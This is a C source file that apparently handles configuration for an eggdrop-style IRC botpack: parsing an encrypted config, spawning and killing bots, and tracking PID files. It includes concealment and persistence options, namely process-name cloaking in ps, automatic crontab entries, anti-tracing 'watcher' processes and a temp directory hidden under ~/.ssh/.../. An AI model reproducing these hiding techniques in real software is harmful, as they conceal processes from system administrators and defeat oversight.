conf.c 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896
  1. /*
  2. * conf.c -- handles:
  3. *
  4. * all of the conf handling
  5. */
  6. #include "common.h"
  7. #include "conf.h"
  8. #include "shell.h"
  9. #include "binary.h"
  10. #include "debug.h"
  11. #include "chanprog.h"
  12. #include "crypt.h"
  13. #include "main.h"
  14. #include "settings.h"
  15. #include "misc.h"
  16. #include "users.h"
  17. #include "misc_file.h"
  18. #include "socket.h"
  19. #include <errno.h>
  20. #ifdef HAVE_PATHS_H
  21. # include <paths.h>
  22. #endif /* HAVE_PATHS_H */
  23. #include <sys/types.h>
  24. #include <sys/wait.h>
  25. #include <sys/stat.h>
  26. #include <signal.h>
  27. #ifdef CYGWIN_HACKS
  28. char cfile[DIRMAX] = "";
  29. #endif /* CYGWIN_HACKS */
  30. conf_t conf; /* global conf struct */
  31. static void
  32. tellconf()
  33. {
  34. conf_bot *bot = NULL;
  35. int i = 0;
  36. sdprintf("tempdir: %s\n", tempdir);
  37. sdprintf("uid: %d\n", conf.uid);
  38. sdprintf("uname: %s\n", conf.uname);
  39. sdprintf("homedir: %s\n", conf.homedir);
  40. sdprintf("binpath: %s\n", conf.binpath);
  41. sdprintf("binname: %s\n", conf.binname);
  42. sdprintf("portmin: %d\n", conf.portmin);
  43. sdprintf("portmax: %d\n", conf.portmax);
  44. sdprintf("pscloak: %d\n", conf.pscloak);
  45. sdprintf("autocron: %d\n", conf.autocron);
  46. sdprintf("autouname: %d\n", conf.autouname);
  47. sdprintf("watcher: %d\n", conf.watcher);
  48. sdprintf("bots:\n");
  49. for (bot = conf.bots; bot && bot->nick; bot = bot->next) {
  50. i++;
  51. sdprintf("%d: %s%s IP: %s HOST: %s IP6: %s HOST6: %s v6: %d HUB: %d PID: %d\n", i,
  52. bot->nick,
  53. bot->disabled ? "/" : "",
  54. bot->net.ip ? bot->net.ip : "",
  55. bot->net.host ? bot->net.host : "", bot->net.ip6 ? bot->net.ip6 : "", bot->net.host6 ? bot->net.host6 : "",
  56. bot->net.v6,
  57. bot->hub,
  58. bot->pid);
  59. }
  60. if (conf.bot && ((bot = conf.bot))) {
  61. sdprintf("me:\n");
  62. sdprintf("%s%s IP: %s HOST: %s IP6: %s HOST6: %s v6: %d HUB: %d PID: %d\n",
  63. bot->nick,
  64. bot->disabled ? "/" : "",
  65. bot->net.ip ? bot->net.ip : "",
  66. bot->net.host ? bot->net.host : "", bot->net.ip6 ? bot->net.ip6 : "", bot->net.host6 ? bot->net.host6 : "",
  67. bot->net.v6,
  68. bot->hub,
  69. bot->pid);
  70. }
  71. }
  72. void spawnbot(const char *nick)
  73. {
  74. size_t size = strlen(nick) + strlen(binname) + 20;
  75. char *run = (char *) my_calloc(1, size);
  76. int status = 0;
  77. simple_snprintf(run, size, "%s -B %s", binname, nick);
  78. sdprintf("Spawning '%s': %s", nick, run);
  79. status = system(run);
  80. if (status == -1 || WEXITSTATUS(status))
  81. sdprintf("Failed to spawn '%s': %s", nick, strerror(errno));
  82. free(run);
  83. }
  84. /* spawn and kill bots accordingly
  85. * bots prefixxed with '/' will be killed auto if running.
  86. * if (updating) then we were called with -L and -P, we need to restart all running bots except our parent and localhub */
  87. void
  88. spawnbots()
  89. {
  90. conf_bot *bot = NULL;
  91. for (bot = conf.bots; bot && bot->nick; bot = bot->next) {
  92. sdprintf("checking bot: %s", bot->nick);
  93. if (bot->disabled) {
  94. /* kill it if running */
  95. if (bot->pid)
  96. kill(bot->pid, SIGKILL);
  97. else
  98. continue;
  99. /* if we're updating automatically, we were called with -L -P, and are only supposed to kill non-localhubs
  100. -if updating and we find our nick, skip
  101. -if pid exists and not updating, bot is running and we have nothing more to do, skip.
  102. */
  103. } else if ((!strcmp(bot->nick, conf.bot->nick) && updating == UPDATE_AUTO) || (bot->pid && !updating)) {
  104. sdprintf(" ... skipping. Updating: %d, pid: %d", updating, bot->pid);
  105. continue;
  106. } else {
  107. /* if we are updating with -L -P, then we need to restart ALL bots */
  108. if (updating == UPDATE_AUTO && bot->pid) {
  109. kill(bot->pid, SIGKILL);
  110. /* remove the pid incase we start the new bot before the old dies */
  111. unlink(bot->pid_file);
  112. }
  113. spawnbot(bot->nick);
  114. }
  115. }
  116. }
  117. int
  118. killbot(char *botnick, int signal)
  119. {
  120. conf_bot *bot = NULL;
  121. for (bot = conf.bots; bot && bot->nick; bot = bot->next) {
  122. if (!egg_strcasecmp(botnick, bot->nick)) {
  123. if (bot->pid)
  124. return kill(bot->pid, signal);
  125. }
  126. }
  127. return -1;
  128. }
  129. #ifndef CYGWIN_HACKS
  130. static uid_t save_euid, save_egid;
  131. static int
  132. swap_uids()
  133. {
  134. save_euid = geteuid();
  135. save_egid = getegid();
  136. return (setegid(getgid()) || seteuid(getuid()))? -1 : 0;
  137. }
  138. static int
  139. swap_uids_back()
  140. {
  141. return (setegid(save_egid) || seteuid(save_euid)) ? -1 : 0;
  142. }
  143. void
  144. confedit()
  145. {
  146. Tempfile tmpconf = Tempfile("conf");
  147. char *editor = NULL;
  148. mode_t um;
  149. int waiter;
  150. pid_t pid, xpid, localhub_pid = 0;
  151. um = umask(077);
  152. writeconf(NULL, tmpconf.f, CONF_COMMENT);
  153. fclose(tmpconf.f);
  154. (void) umask(um);
  155. if (!can_stat(tmpconf.file))
  156. fatal("Cannot stat tempfile", 0);
  157. /* Okay, edit the file */
  158. if ((!((editor = getenv("VISUAL")) && strlen(editor)))
  159. && (!((editor = getenv("EDITOR")) && strlen(editor)))
  160. ) {
  161. editor = "vi";
  162. /*
  163. #if defined(DEBIAN)
  164. editor = "/usr/bin/editor";
  165. #elif defined(_PATH_VI)
  166. editor = _PATH_VI;
  167. #else
  168. editor = "/usr/ucb/vi";
  169. #endif
  170. */
  171. }
  172. signal(SIGINT, SIG_IGN);
  173. signal(SIGQUIT, SIG_IGN);
  174. signal(SIGCONT, SIG_DFL);
  175. swap_uids();
  176. switch (pid = fork()) {
  177. case -1:
  178. fatal("Cannot fork", 0);
  179. case 0:
  180. {
  181. char *run = NULL;
  182. size_t size = tmpconf.len + strlen(editor) + 5;
  183. setgid(getgid());
  184. setuid(getuid());
  185. run = (char *) my_calloc(1, size);
  186. /* child */
  187. simple_snprintf(run, size, "%s %s", editor, tmpconf.file);
  188. execlp("/bin/sh", "/bin/sh", "-c", run, NULL);
  189. perror(editor);
  190. exit(1);
  191. /*NOTREACHED*/}
  192. default:
  193. /* parent */
  194. break;
  195. }
  196. /* parent */
  197. while (1) {
  198. xpid = waitpid(pid, &waiter, WUNTRACED);
  199. if (xpid == -1) {
  200. fprintf(stderr, "waitpid() failed waiting for PID %d from \"%s\": %s\n", pid, editor, strerror(errno));
  201. } else if (xpid != pid) {
  202. fprintf(stderr, "wrong PID (%d != %d) from \"%s\"\n", xpid, pid, editor);
  203. goto fatal;
  204. } else if (WIFSTOPPED(waiter)) {
  205. /* raise(WSTOPSIG(waiter)); Not needed and breaks in job control shell */
  206. } else if (WIFEXITED(waiter) && WEXITSTATUS(waiter)) {
  207. fprintf(stderr, "\"%s\" exited with status %d\n", editor, WEXITSTATUS(waiter));
  208. goto fatal;
  209. } else if (WIFSIGNALED(waiter)) {
  210. fprintf(stderr, "\"%s\" killed; signal %d (%score dumped)\n", editor, WTERMSIG(waiter),
  211. # ifdef CYGWIN_HACKS
  212. 0
  213. # else
  214. WCOREDUMP(waiter)
  215. # endif
  216. /* CYGWIN_HACKS */
  217. ? "" : "no ");
  218. goto fatal;
  219. } else {
  220. break;
  221. }
  222. }
  223. (void) signal(SIGINT, SIG_DFL);
  224. (void) signal(SIGQUIT, SIG_DFL);
  225. swap_uids_back();
  226. if (!can_stat(tmpconf.file))
  227. fatal("Error reading new config file", 0);
  228. if (conf.bots && conf.bots->pid)
  229. localhub_pid = conf.bots->pid;
  230. readconf((const char *) tmpconf.file, 0); /* read cleartext conf tmp into &settings */
  231. fix_tilde(&conf.binpath);
  232. unlink(tmpconf.file);
  233. conf_to_bin(&conf, 0, -1);
  234. if (localhub_pid)
  235. kill(localhub_pid, SIGUSR1);
  236. exit(0);
  237. fatal:
  238. unlink(tmpconf.file);
  239. exit(1);
  240. }
  241. #endif /* !CYGWIN_HACKS */
  242. void
  243. init_conf()
  244. {
  245. // conf.bots = (conf_bot *) my_calloc(1, sizeof(conf_bot));
  246. // conf.bots->nick = NULL;
  247. // conf.bots->next = NULL;
  248. conf.bots = NULL;
  249. conf.bot = NULL;
  250. conf.watcher = 0;
  251. #ifdef CYGWIN_HACKS
  252. conf.autocron = 0;
  253. #else
  254. conf.autocron = 1;
  255. #endif /* !CYGWIN_HACKS */
  256. conf.autouname = 0;
  257. #ifdef CYGWIN_HACKS
  258. conf.binpath = strdup(homedir());
  259. #else /* !CYGWIN_HACKS */
  260. conf.binpath = strdup(dirname(binname));
  261. #endif /* CYGWIN_HACKS */
  262. char *p = strrchr(binname, '/');
  263. p++;
  264. conf.binname = strdup(p);
  265. conf.portmin = 0;
  266. conf.portmax = 0;
  267. conf.pscloak = 0;
  268. conf.uid = -1;
  269. conf.uname = NULL;
  270. conf.username = NULL;
  271. conf.homedir = NULL;
  272. }
  273. void conf_checkpids()
  274. {
  275. conf_bot *bot = NULL;
  276. for (bot = conf.bots; bot && bot->nick; bot = bot->next)
  277. bot->pid = checkpid(bot->nick, bot);
  278. }
  279. /*
  280. * Return the PID of a bot if it is running, otherwise return 0
  281. */
  282. pid_t
  283. checkpid(const char *nick, conf_bot *bot)
  284. {
  285. FILE *f = NULL;
  286. char buf[DIRMAX] = "", s[11] = "", *tmpnick = NULL, *tmp_ptr = NULL;
  287. tmpnick = tmp_ptr = strdup(nick);
  288. simple_snprintf(buf, sizeof buf, "%s.pid.%s", tempdir, tmpnick);
  289. free(tmp_ptr);
  290. if (bot && !(bot->pid_file))
  291. bot->pid_file = strdup(buf);
  292. else if (bot && strcmp(bot->pid_file, buf))
  293. str_redup(&bot->pid_file, buf);
  294. if ((f = fopen(buf, "r"))) {
  295. pid_t xx = 0;
  296. fgets(s, 10, f);
  297. remove_crlf(s);
  298. fclose(f);
  299. xx = atoi(s);
  300. // if (bot) {
  301. int x = 0;
  302. x = kill(xx, SIGCHLD);
  303. if (x == -1 && errno == ESRCH)
  304. return 0;
  305. else if (x == 0)
  306. return xx;
  307. // } else {
  308. // return xx ? xx : 0;
  309. // }
  310. }
  311. return 0;
  312. }
  313. void
  314. conf_addbot(char *nick, char *ip, char *host, char *ip6)
  315. {
  316. conf_bot *bot = (conf_bot *) my_calloc(1, sizeof(conf_bot));
  317. bot->next = NULL;
  318. bot->pid_file = NULL;
  319. if (nick[0] == '/') {
  320. bot->disabled = 1;
  321. nick++;
  322. }
  323. bot->nick = strdup(nick);
  324. bot->net.ip = NULL;
  325. bot->net.host = NULL;
  326. bot->net.ip6 = NULL;
  327. bot->net.host6 = NULL;
  328. if (host && host[0] == '+') {
  329. host++;
  330. bot->net.host6 = strdup(host);
  331. } else if (host && strcmp(host, ".")) {
  332. bot->net.host = strdup(host);
  333. }
  334. if (ip && strcmp(ip, ".") && is_dotted_ip(ip) == AF_INET)
  335. bot->net.ip = strdup(ip);
  336. if (ip6 && strcmp(ip6, ".") && is_dotted_ip(ip6) == AF_INET6)
  337. bot->net.ip6 = strdup(ip6);
  338. if (bot->net.ip6 || bot->net.host6)
  339. bot->net.v6 = 1;
  340. bot->u = NULL;
  341. // bot->pid = checkpid(nick, bot);
  342. if (settings.hubs) {
  343. char *p = settings.hubs, *p2 = NULL;
  344. size_t len = 0;
  345. while (p && *p) {
  346. if ((p2 = strchr(p, ' '))) {
  347. len = p2 - p;
  348. if (!egg_strncasecmp(p, bot->nick, len)) {
  349. bot->hub = 1;
  350. break;
  351. }
  352. }
  353. if ((p = strchr(p, ',')))
  354. p++;
  355. }
  356. }
  357. /* not a hub
  358. AND
  359. * no bots added yet (first bot) yet, not disabled.
  360. OR
  361. * bots already listed but we dont have a localhub yet, so we're it!
  362. */
  363. if (!bot->hub && ((!conf.bots && !bot->disabled) || (conf.bots && !conf.localhub))) {
  364. bot->localhub = 1; /* first bot */
  365. conf.localhub = strdup(bot->nick);
  366. }
  367. list_append((struct list_type **) &(conf.bots), (struct list_type *) bot);
  368. }
  369. void
  370. free_bot(conf_bot *bot)
  371. {
  372. if (bot) {
  373. list_delete((struct list_type **) &(conf.bots), (struct list_type *) bot);
  374. free(bot->nick);
  375. free(bot->pid_file);
  376. if (bot->net.ip)
  377. free(bot->net.ip);
  378. if (bot->net.host)
  379. free(bot->net.host);
  380. if (bot->net.ip6)
  381. free(bot->net.ip6);
  382. if (bot->net.host6)
  383. free(bot->net.host6);
  384. free(bot);
  385. }
  386. }
  387. int
  388. conf_delbot(char *botn)
  389. {
  390. conf_bot *bot = NULL;
  391. for (bot = conf.bots; bot && bot->nick; bot = bot->next) {
  392. if (!strcmp(bot->nick, botn)) { /* found it! */
  393. bot->pid = checkpid(bot->nick, bot);
  394. killbot(bot->nick, SIGKILL);
  395. free_bot(bot);
  396. return 0;
  397. }
  398. }
  399. return 1;
  400. }
  401. void
  402. free_conf()
  403. {
  404. free_conf_bots();
  405. free_bot(conf.bot);
  406. conf.bot = NULL;
  407. free(conf.localhub);
  408. free(conf.uname);
  409. free(conf.username);
  410. free(conf.homedir);
  411. free(conf.binname);
  412. free(conf.binpath);
  413. }
  414. void
  415. free_conf_bots(void)
  416. {
  417. conf_bot *bot = NULL, *bot_n = NULL;
  418. for (bot = conf.bots; bot; bot = bot_n) {
  419. bot_n = bot->next;
  420. free_bot(bot);
  421. }
  422. conf.bots = NULL;
  423. }
  424. int
  425. parseconf(bool error)
  426. {
  427. if (conf.username) {
  428. str_redup(&conf.username, my_username());
  429. } else {
  430. conf.username = strdup(my_username());
  431. }
  432. #ifndef CYGWIN_HACKS
  433. if (error && conf.uid != (signed) myuid) {
  434. sdprintf("wrong uid, conf: %d :: %d", conf.uid, myuid);
  435. werr(ERR_WRONGUID);
  436. } else if (!conf.uid)
  437. conf.uid = myuid;
  438. if (conf.uname && strcmp(conf.uname, my_uname()) && !conf.autouname) {
  439. baduname(conf.uname, my_uname()); /* its not auto, and its not RIGHT, bail out. */
  440. sdprintf("wrong uname, conf: %s :: %s", conf.uname, my_uname());
  441. if (error)
  442. werr(ERR_WRONGUNAME);
  443. } else if (conf.uname && conf.autouname) { /* if autouname, dont bother comparing, just set uname to output */
  444. str_redup(&conf.uname, my_uname());
  445. } else if (!conf.uname) { /* if not set, then just set it, wont happen again next time... */
  446. conf.uname = strdup(my_uname());
  447. }
  448. if (conf.homedir) {
  449. str_redup(&conf.homedir, homedir());
  450. } else {
  451. conf.homedir = strdup(homedir());
  452. }
  453. #endif /* !CYGWIN_HACKS */
  454. return 0;
  455. }
  456. int
  457. readconf(const char *fname, int bits)
  458. {
  459. FILE *f = NULL;
  460. int i = 0, enc = (bits & CONF_ENC) ? 1 : 0;
  461. char *inbuf = NULL;
  462. sdprintf("readconf(%s, %d)", fname, enc);
  463. Context;
  464. if (!(f = fopen(fname, "r")))
  465. fatal("Cannot read config", 0);
  466. free_conf_bots();
  467. inbuf = (char *) my_calloc(1, 201);
  468. while (fgets(inbuf, 201, f) != NULL) {
  469. char *line = NULL, *temp_ptr = NULL;
  470. remove_crlf(inbuf);
  471. if (enc)
  472. line = temp_ptr = decrypt_string(settings.salt1, inbuf);
  473. else
  474. line = inbuf;
  475. if ((line && !line[0]) || line[0] == '\n') {
  476. if (enc)
  477. free(line);
  478. continue;
  479. }
  480. i++;
  481. sdprintf("CONF LINE: %s", line);
  482. // !strchr("_`|}][{*/#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ", line[0])) {
  483. if (enc && line[0] > '~') {
  484. sdprintf("line %d, char %c ", i, line[0]);
  485. fatal("Bad encryption", 0);
  486. } else { /* line is good to parse */
  487. /* - uid */
  488. if (line[0] == '-') {
  489. newsplit(&line);
  490. if (!conf.uid)
  491. conf.uid = atoi(line);
  492. /* + uname */
  493. } else if (line[0] == '+') {
  494. newsplit(&line);
  495. if (!conf.uname)
  496. conf.uname = strdup(line);
  497. /* ! is misc options */
  498. } else if (line[0] == '!') {
  499. char *option = NULL;
  500. newsplit(&line);
  501. if (line[0])
  502. option = newsplit(&line);
  503. if (!option)
  504. continue;
  505. if (!strcmp(option, "autocron")) { /* automatically check/create crontab? */
  506. if (egg_isdigit(line[0]))
  507. conf.autocron = atoi(line);
  508. } else if (!strcmp(option, "autouname")) { /* auto update uname contents? */
  509. if (egg_isdigit(line[0]))
  510. conf.autouname = atoi(line);
  511. } else if (!strcmp(option, "username")) { /* shell username */
  512. conf.username = strdup(line);
  513. } else if (!strcmp(option, "homedir")) { /* homedir */
  514. conf.homedir = strdup(line);
  515. } else if (!strcmp(option, "binpath")) { /* path that the binary should move to? */
  516. str_redup(&conf.binpath, line);
  517. } else if (!strcmp(option, "binname")) { /* filename of the binary? */
  518. str_redup(&conf.binname, line);
  519. } else if (!strcmp(option, "portmin")) {
  520. if (egg_isdigit(line[0]))
  521. conf.portmin = atoi(line);
  522. } else if (!strcmp(option, "portmax")) {
  523. if (egg_isdigit(line[0]))
  524. conf.portmax = atoi(line);
  525. } else if (!strcmp(option, "pscloak")) { /* should bots on this shell pscloak? */
  526. if (egg_isdigit(line[0]))
  527. conf.pscloak = atoi(line);
  528. } else if (!strcmp(option, "uid")) { /* new method uid */
  529. if (egg_isdigit(line[0]))
  530. conf.uid = atoi(line);
  531. } else if (!strcmp(option, "uname")) { /* new method uname */
  532. if (!conf.uname)
  533. conf.uname = strdup(line);
  534. else
  535. str_redup(&conf.uname, line);
  536. } else if (!strcmp(option, "watcher")) {
  537. if (egg_isdigit(line[0]))
  538. conf.watcher = atoi(line);
  539. } else {
  540. putlog(LOG_MISC, "*", "Unrecognized config option '%s'", option);
  541. }
  542. /* read in portmin */
  543. } else if (line[0] == '>') {
  544. newsplit(&line);
  545. conf.portmin = atoi(line);
  546. } else if (line[0] == '<') {
  547. newsplit(&line);
  548. conf.portmax = atoi(line);
  549. /* now to parse nick/hosts */
  550. } else if (line[0] != '#') {
  551. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  552. nick = newsplit(&line);
  553. if (!nick || (nick && !nick[0]))
  554. werr(ERR_BADCONF);
  555. if (line[0])
  556. ip = newsplit(&line);
  557. if (line[0])
  558. host = newsplit(&line);
  559. if (line[0])
  560. ipsix = newsplit(&line);
  561. conf_addbot(nick, ip, host, ipsix);
  562. }
  563. }
  564. inbuf[0] = 0;
  565. if (enc)
  566. free(temp_ptr);
  567. } /* while(fgets()) */
  568. fclose(f);
  569. free(inbuf);
  570. return 0;
  571. }
  572. int
  573. writeconf(char *filename, FILE * stream, int bits)
  574. {
  575. FILE *f = NULL;
  576. conf_bot *bot = NULL;
  577. int (*my_write) (FILE *, const char *, ... ) = NULL;
  578. char *p = NULL;
  579. if (bits & CONF_ENC)
  580. my_write = lfprintf;
  581. else if (!(bits & CONF_ENC))
  582. my_write = fprintf;
  583. #define comment(text) \
  584. if (bits & CONF_COMMENT) \
  585. my_write(f, "%s\n", text);
  586. if (stream) {
  587. f = stream;
  588. } else if (filename) {
  589. if (!(f = fopen(filename, "w")))
  590. return 1;
  591. }
  592. #ifndef CYGWIN_HACKS
  593. comment("# Lines beginning with # are what the preceeding line SHOULD be");
  594. comment("# They are simply comments and are not parsed at all.\n");
  595. my_write(f, "! uid %d\n", conf.uid);
  596. if ((bits & CONF_COMMENT) && conf.uid != (signed) myuid)
  597. my_write(f, "#! uid %d\n\n", myuid);
  598. if (!conf.uname || (conf.uname && conf.autouname && strcmp(conf.uname, my_uname()))) {
  599. comment("# Automatic");
  600. my_write(f, "! uname %s\n", my_uname());
  601. } else if (conf.uname && !conf.autouname && strcmp(conf.uname, my_uname())) {
  602. my_write(f, "! uname %s\n", conf.uname);
  603. comment("# autouname is OFF");
  604. my_write(f, "#! uname %s\n\n", my_uname());
  605. } else
  606. my_write(f, "! uname %s\n", conf.uname);
  607. comment("");
  608. my_write(f, "! username %s\n", conf.username ? conf.username : my_username());
  609. if (conf.username && strcmp(conf.username, my_username()))
  610. my_write(f, "#! username %s\n", my_username());
  611. my_write(f, "! homedir %s\n", conf.homedir ? conf.homedir : homedir());
  612. if (conf.homedir && strcmp(conf.homedir, homedir()))
  613. my_write(f, "#! homedir %s\n", homedir());
  614. comment("\n# binpath needs to be full path unless it begins with '~', which uses 'homedir', ie, '~/'");
  615. if (strstr(conf.binpath, homedir())) {
  616. p = replace(conf.binpath, homedir(), "~");
  617. my_write(f, "! binpath %s\n", p);
  618. } else
  619. my_write(f, "! binpath %s\n", conf.binpath);
  620. comment("# binname is relative to binpath, if you change this, you'll need to manually remove the old one from crontab.");
  621. my_write(f, "! binname %s\n", conf.binname);
  622. comment("");
  623. comment("# portmin/max are for incoming connections (DCC) [0 for any]");
  624. my_write(f, "! portmin %d\n", conf.portmin);
  625. my_write(f, "! portmax %d\n", conf.portmax);
  626. comment("");
  627. comment("# Attempt to \"cloak\" the process name in `ps` for Linux?");
  628. my_write(f, "! pscloak %d\n", conf.pscloak);
  629. comment("");
  630. comment("# Automatically add the bot to crontab?");
  631. my_write(f, "! autocron %d\n", conf.autocron);
  632. comment("");
  633. comment("# Automatically update 'uname' if it changes? (DANGEROUS)");
  634. my_write(f, "! autouname %d\n", conf.autouname);
  635. comment("");
  636. comment("# This will spawn a child process for EACH BOT that will block ALL process hijackers.");
  637. my_write(f, "! watcher %d\n", conf.watcher);
  638. comment("");
  639. comment("# '|' means OR, [] means the enclosed is optional");
  640. comment("# A '+' in front of HOST means the HOST is ipv6");
  641. comment("# A '/' in front of BOT will disable that bot.");
  642. comment("#[/]BOT IP|. [+]HOST|. [IPV6-IP]");
  643. #endif /* CYGWIN_HACKS */
  644. for (bot = conf.bots; bot && bot->nick; bot = bot->next) {
  645. my_write(f, "%s %s %s%s %s\n", bot->nick,
  646. bot->net.ip ? bot->net.ip : ".", bot->net.host6 ? "+" : "",
  647. bot->net.host ? bot->net.host : (bot->net.host6 ? bot->net.host6 : "."), bot->net.ip6 ? bot->net.ip6 : "");
  648. }
  649. fflush(f);
  650. if (!stream)
  651. fclose(f);
  652. return 0;
  653. }
  654. static void
  655. conf_bot_dup(conf_bot *dest, conf_bot *src)
  656. {
  657. if (dest && src) {
  658. dest->nick = src->nick ? strdup(src->nick) : NULL;
  659. dest->pid_file = src->pid_file ? strdup(src->pid_file) : NULL;
  660. dest->net.ip = src->net.ip ? strdup(src->net.ip) : NULL;
  661. dest->net.host = src->net.host ? strdup(src->net.host) : NULL;
  662. dest->net.ip6 = src->net.ip6 ? strdup(src->net.ip6) : NULL;
  663. dest->net.host6 = src->net.host6 ? strdup(src->net.host6) : NULL;
  664. dest->net.v6 = src->net.v6;
  665. dest->u = src->u ? src->u : NULL;
  666. dest->pid = src->pid;
  667. dest->hub = src->hub;
  668. dest->localhub = src->localhub;
  669. dest->next = NULL;
  670. }
  671. }
  672. void
  673. fill_conf_bot()
  674. {
  675. if (!conf.bots || !conf.bots->nick)
  676. return;
  677. char *mynick = NULL;
  678. conf_bot *me = NULL;
  679. if (!used_B && conf.bots && conf.bots->nick) {
  680. mynick = strdup(conf.bots->nick);
  681. strlcpy(origbotname, conf.bots->nick, NICKLEN + 1);
  682. } else
  683. mynick = strdup(origbotname);
  684. for (me = conf.bots; me && me->nick; me = bot->next)
  685. if (!egg_strcasecmp(me->nick, mynick))
  686. break;
  687. if (!me || (me->nick && egg_strcasecmp(me->nick, mynick)))
  688. werr(ERR_BADBOT);
  689. free(mynick);
  690. /* for future, we may just want to make this a pointer to ->bots if we do an emech style currentbot-> */
  691. if (bot) {
  692. conf.bot = (conf_bot *) my_calloc(1, sizeof(conf_bot));
  693. conf_bot_dup(conf.bot, bot);
  694. }
  695. }
  696. void
  697. bin_to_conf(void)
  698. {
  699. /* printf("Converting binary data to conf struct\n"); */
  700. conf.uid = atol(settings.uid);
  701. conf.username = strdup(settings.username);
  702. conf.uname = strdup(settings.uname);
  703. conf.homedir = strdup(settings.homedir);
  704. conf.binpath = strdup(settings.binpath);
  705. fix_tilde(&conf.binpath);
  706. conf.binname = strdup(settings.binname);
  707. conf.portmin = atol(settings.portmin);
  708. conf.portmax = atol(settings.portmax);
  709. conf.autouname = atoi(settings.autouname);
  710. conf.autocron = atoi(settings.autocron);
  711. conf.watcher = atoi(settings.watcher);
  712. conf.pscloak = atoi(settings.pscloak);
  713. /* BOTS */
  714. {
  715. char *p = NULL, *tmp = NULL, *tmpp = NULL;
  716. tmp = tmpp = strdup(settings.bots);
  717. while ((p = strchr(tmp, ','))) {
  718. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  719. *p++ = 0;
  720. if (!tmp[0])
  721. break;
  722. nick = newsplit(&tmp);
  723. if (!nick || (nick && !nick[0]))
  724. werr(ERR_BADCONF);
  725. if (tmp[0])
  726. ip = newsplit(&tmp);
  727. if (tmp[0])
  728. host = newsplit(&tmp);
  729. if (tmp[0])
  730. ipsix = newsplit(&tmp);
  731. conf_addbot(nick, ip, host, ipsix);
  732. tmp = p++;
  733. }
  734. free(tmpp);
  735. }
  736. /* this is temporary until we make tmpdir customizable */
  737. if (conf.bots && conf.bots->nick && conf.bots->hub)
  738. simple_snprintf(tempdir, DIRMAX, "%s/tmp/", conf.binpath);
  739. else
  740. simple_snprintf(tempdir, DIRMAX, "%s/.ssh/.../", conf.homedir);
  741. #ifdef CYGWIN_HACKS
  742. simple_snprintf(tempdir, DIRMAX, "tmp/");
  743. #endif /* CYGWIN_HACKS */
  744. check_tempdir(); /* ensure we can access tmpdir if it changed */
  745. clear_tmp(); /* clear out the tmp dir, no matter if we are localhub or not */
  746. conf_checkpids();
  747. tellconf();
  748. }